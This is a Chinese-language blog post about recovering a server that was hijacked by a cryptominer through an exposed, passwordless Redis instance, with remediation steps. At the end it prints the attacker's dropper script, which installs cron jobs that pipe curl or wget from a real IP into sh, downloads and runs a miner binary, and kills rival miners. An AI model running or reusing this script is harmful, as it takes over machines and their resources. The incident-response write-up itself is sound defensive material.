1. 程式人生 > >記一次服務器被挖礦經歷與解決辦法

記一次服務器被挖礦經歷與解決辦法

alt boot 告警 port 下載 被黑 rep $2 nano

記一次服務器被挖礦經歷與解決辦法






在最近的某一天裏面,中午的一個小息過後,突然手機的郵件和公眾號監控zabbix的告警多了起來。我拿起手機一看原來是某臺服務器上的CPU跑滿了,就開始登上去看一下是哪個腳本導致負荷高的(在期間使用top -d 1命令查看負荷占用情況)。可以靜下來想了下,中午大家都在休息不應該CPU負載會這麽高的,心裏想80%是服務器被黑了。

技術分享圖片

後來發現是/tmp/ddgs.3013和/tmp/qW3xT.2這兩個文件跑滿了服務器CPU,後來決定先kill掉文件PID和刪除/tmp目錄下的文件,發現一刪除就自動創建上了,怎麽刪除也不能解決掉。經過一系列的查找問題之後發現了crontab上把以前配置都覆蓋掉了加上了一條(/5
* wget -q -O- http://165.225.157.157:8000/i.sh | sh)下載一個腳本的命令,但是第一時間就想到服務器被黑了。因為第一次遇見的原因當時心裏“小鹿亂轉”,後來查了點資料和問了一些同行才知道原來服務器被挖礦了,在度娘裏面搜索到的很嚇人。

技術分享圖片






既然已經知道了是被什麽gongji(51這也算是敏感字??)的了,也排查到它是經過掃描到我redis端口來黑的,那就對癥下藥吧!

  • 先在防火墻上設置redis端口限制在內網
    技術分享圖片
  • 在排查下redis是否有設置密碼

    vim  /usr/local/redis/redis.conf
    requirepass yourpassword
  • 清除crontab的配置

    echo > /var/spool/cron/root
    # 或者
    systemctl stop crond
  • kill掉占用CPU高的兩個文件

    ps -ef | grep /tmp/ddgs.3013 | awk ‘{print $2}‘ | xargs kill -9
    ps -ef | grep /tmp/qW3xT.2 | awk ‘{print $2}‘ | xargs kill -9
  • 最後一步刪除/tmp目錄下兩個文件

    rm -rf /tmp/ddgs.3013
    rm -rf /tmp/qW3xT.2

    慢慢負載才降了下來,真的是心驚膽戰啊,睡個覺就出現被挖礦的問題!後來回想了一下出現這種問題不外乎兩種

  • 1、把redis端口暴露在外網
  • 2、redis沒設置密碼(因為本人是測試環境,偷了下懶沒設置密碼)

    本人很不才兩種錯誤都犯了,也特此提醒自己以後這種錯誤別在犯了。最後提供上這個腳本的具體內容:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep /tmp/ddgs.3011 || rm -rf /tmp/ddgs.3011
if [ ! -f "/tmp/ddgs.3011" ]; then
    curl -fsSL http://165.225.157.157:8000/static/3011/ddgs.$(uname -m) -o /tmp/ddgs.3011
fi
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011

ps auxf | grep -v grep | grep Circle_MI | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk ‘{print $2}‘ | xargs kill

記一次服務器被挖礦經歷與解決辦法